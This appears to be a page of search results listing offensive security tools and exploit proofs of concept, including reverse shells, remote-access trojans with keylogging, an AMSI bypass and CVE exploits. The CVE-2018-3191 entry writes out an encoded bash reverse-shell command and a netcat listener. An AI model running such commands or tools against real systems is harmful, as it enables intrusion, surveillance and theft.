38003 matches found
TinkererShell
TinkererShell 一个用 Python 3.7 编写的简单反向 shell，仅供娱乐。 实际上支持 Windows 和 Linux 操作系统，并集成了一些基本功能，如键盘记录和 AES 加密通信。 支持的操作系统： Windows Linux OSX 功能与特性： 反向连接。 AES 加密通信。 多线程。 支持同时连接多个 Bot。 键盘记录器。 可以截取 Bot 屏幕的截图。 可以使用 Bot 的摄像头拍照。 可以窃取 Bot 剪贴板内容。 可以在 payload 投递前或之后通过远程控制启用或禁用持久化。 可以在 payload 投递前或之后通过远程控制启用或禁用键盘记录器...
tot-react-rce-CVE-2025-55182
Tot React RCE CVE-2025-55182 React-shell Tot React RCE - Next.js 工具。 依赖 ： aiohttp termcolor（可选） tabulate（可选） 安装依赖： pip install -r requirements.txt 示例运行： python3 main.py -u http://target.com --lang id...
LAZYPARIAH
LAZYPARIAH Una herramienta de línea de comandos de baja dependencia para generar payloads de reverse shell sobre la marcha. Descripción LAZYPARIAH es una herramienta de línea de comandos simple y fácilmente instalable escrita en Ruby puro que puede ser utilizada durante pruebas de penetración y...
CVE-2025-49844
CVE-2025-49844 原始 uv POC: https://github.com/saneki/cve-2025-49844 提供反向Shell 的PoC。 开始之前 pip3 install -r requirements.txt 帮助 python3 CVE-2025-49844.py -h usage: CVE-2025-49844.py -h -H HOST -P PORT -a PASSWORD -l HOST -p PORT CVE-2025-49844 proof-of-concept — Redis 8.2.1 Lua UAF RCE reverse shell...
AndroBugs_Framework
AndroBugs 框架 AndroBugs 框架是一个 Android 漏洞分析系统，帮助开发者或黑客发现 Android 应用程序中的潜在安全漏洞。没有华丽的 GUI 界面，但最高效（平均每次扫描不到 2 分钟）且更准确。 版本：1.0.0 特性： 查找 Android 应用中的安全漏洞 检查代码是否缺少最佳实践 检查危险的 shell 命令（例如 "su"） 从数百万个应用中收集信息 检查应用的安全防护（标记为 ，专为应用重打包黑客攻击设计） 作者 林育成（androbugs.framework at gmail.com, @AndroBugs） Windows 的安装步骤与使用 ...
vsftpd-backdoor
Exploit para el Backdoor vsftpd 2.3.4 CVE-2011-2523 Este exploit aprovecha un backdoor en la versión 2.3.4 del servicio FTP vsftpd. El backdoor fue introducido en el código fuente de manera maliciosa y permite la ejecución remota de comandos como root en el servidor afectado Funcionamiento El...
CVE-2022-2333
CVE-2022-2333 Después de medio año de trabajo, les muestro algo bueno. ¿Les gusta sxf vpn? No me gusta mucho. Después de medio año, ya obtuve una shell. Después de obtenerla, descubrí que era firmware antiguo. En M7.6.8 ya no estaba. Olvídalo, olvídalo. No es que no confíe en ti, es que todos...
CVE-2018-3191
CVE-2018-3191 CVE-2018-3191 反弹shell 本地ip：172.16.38.1 Weblogic：172.16.38.174:7001 1、 本地执行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 然后执行 nc -lvv 7777 （1） 其中的 bash...
Apache Spark UI - Remote Command Injection
Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...
Chamilo LMS <= 1.11.24 - Remote Code Execution
Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS = v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell. id: CVE-2023-422...
InsomniaShell
InsomniaShell 🖥️ -h3x0v3rl0rd- Uso :...
WebShells
WebShells WebShell studying...
bluekeep-metasploit-lab-project
Explotando BlueKeep CVE-2019-0708 en Windows 7 Objetivo Obtener acceso remoto a un sistema Windows 7 sin parchear mediante la vulnerabilidad BlueKeep RDP usando Metasploit. Configuración del Laboratorio Atacante: Kali Linux Objetivo: Windows 7 Sin parchear, RDP habilitado Red: NAT / Solo anfitrió...
FullBypass
FullBypass 一款绕过AMSI（反恶意软件扫描接口）和PowerShell CLM（约束语言模式）的工具，为你提供一个FullLanguage PowerShell反向Shell。 P.S Please do not use in unethical hacking and follow all rules and regulations of laws 用法： 首先，将bypass.csproj文件下载到目标机器上（查找可写文件夹，如C:\Windows\Tasks或C:\Windows\Temp）。然后只需使用msbuild.exe执行它。...
CVE-2026-76060_ZoneMinder_CommandInjection-PoC
just wait and see Prueba de concepto de una vulnerabilidad de inyección de comandos del sistema operativo en la funcionalidad de exportación de eventos de ZoneMinder web/includes/downloadfunctions.php. Los nombres de los monitores se interpolan directamente en los comandos de shell utilizando un...
CVE-2020-0796-RCE-POC
CVE-2020-0796 远程代码执行概念验证 c 2020 ZecOps, Inc. - https://www.zecops.com - 发现攻击者的错误 CVE-2020-0796 / "SMBGhost" 的远程代码执行概念验证 预期结果：返回系统级权限的反向 Shell。 仅限在企业环境中用于教育和测试。 ZecOps 对此代码不承担任何责任，使用风险自负。 如果您对用于服务器、终端和移动设备的无代理 DFIR 工具感兴趣，以便自动检测 SMBGhost 和其他类型的攻击，请联系 [email protected]。 使用方法 确保目标计算机上已安装 Python ...
hide-me
Mac 和主机名随机更改器 hide-me 每次进行网络渗透测试时，我都需要执行一些步骤来确保自己隐藏身份：关闭接口、更改 MAC 地址、更改主机名、重新启用接口、重启网络管理器服务，并在测试完成后将 MAC 地址和主机名改回原来的。这很耗时，有时我甚至会忘记其中的某个步骤。后来我想到了一个主意——写一个脚本来自动完成所有操作。基本上，这个脚本会将 MAC 地址随机更改为一个随机值，并从指定文件中随机挑选一个主机名。 作者：Andrei Zgirvaci 免责声明：此工具仅用于测试目的，并且只能在获得明确同意的情况下使用。请勿将其用于非法目的，就是这样。 贡献：欢迎贡献代码！...
ToRat
一款用 Go 编写的跨平台远程管理工具，使用 Tor 作为传输机制，目前支持 Windows、Linux、MacOS 客户端。 免责声明 仅用于教育目的 Wiki 如何使用 ToRat Docker 镜像 预览 客户端命令 命令| 说明 ---|--- cd| 更改客户端的工作目录 ls| 列出客户端工作目录中的内容 shred| 不可恢复地删除文件/目录 screen| 对客户端截图 cat| 查看来自客户端的文本文件，包括 .docx、.rtf、.pdf、.odt alias| 为客户端设置自定义别名 down| 从客户端下载文件 up| 向客户端上传文件 speedtest|...
